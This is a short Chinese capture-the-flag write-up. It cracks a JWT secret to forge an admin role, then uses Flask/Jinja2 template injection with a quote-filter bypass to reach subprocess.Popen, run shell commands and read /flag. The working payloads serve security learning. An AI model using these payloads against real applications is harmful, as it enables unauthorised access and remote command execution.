JWT以及flask模板注入
打开页面后,发现是一个登录的界面,所以尝试使用sql注入的闭合测试,发现没有回显,排除sql注入的可能
然后抓包,发现有一个token值
1 | token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJwYXNzd2QiOiIxMjMiLCJ1aWQiOiIxMzQxMmRjYy1mNzdjLTRiNWMtYTY3NS0xYTg4OWY4YzdiMDIiLCJyb2xlIjoiZ3Vlc3MifQ.fZK8Krq7WE-zoHSh0M6ZOzj5MGMQRFRmxstoOXdILA0 |
所以猜测是JWT,放入这个网站[https://jwt.io/],可以看见JWT前两部分的内容
1 | HEADER |
role是一个可疑点,所以我们可疑将guess改为admin进行尝试,但是我们不知道密钥,所以我们可以使用c-jwt-craker对密钥进行爆破,得到密钥为
1 | CTf4r |
然后伪造token,进行提交,发现成功提交,但是提交后没发现任何东西,此时我想了比较久,然后尝试将user里的值改为
1 | {{7*7}} |
发现回显是49,发现注入点,然后我构造
1 | {{' '.__class__}} |
进行尝试,发现回显500,然后逐个符号进行尝试,发现原来单引号被过滤了,所以我们可以使用()来代替
1 | {{().__class__}} |
发现成功回显出两个类,由于它过滤了单引号,所以我就用对单引号使用最少的subprocess.Popen类对文件进行读取
1 | {{().__class__.__mro__[1].__subclasses__()[143]('ls',shell=True,stdout=-1).communicate()[0].strip()}} |
但是发现它里面带有单引号,所以我们可以使用request.args.path来绕过单引号,即使用get提交的方式输入命令
1 | {{().__class__.__mro__[1].__subclasses__()[143](request.args.path,shell=True,stdout=-1).communicate()[0].strip()}} |
然后在提交伪造token的同时,get提交命令
1 | /flag?path=ls |
发现显示目录,即注入成功,然后get提交
1 | /flag?path=cat%20/flag |
就可以读取flag了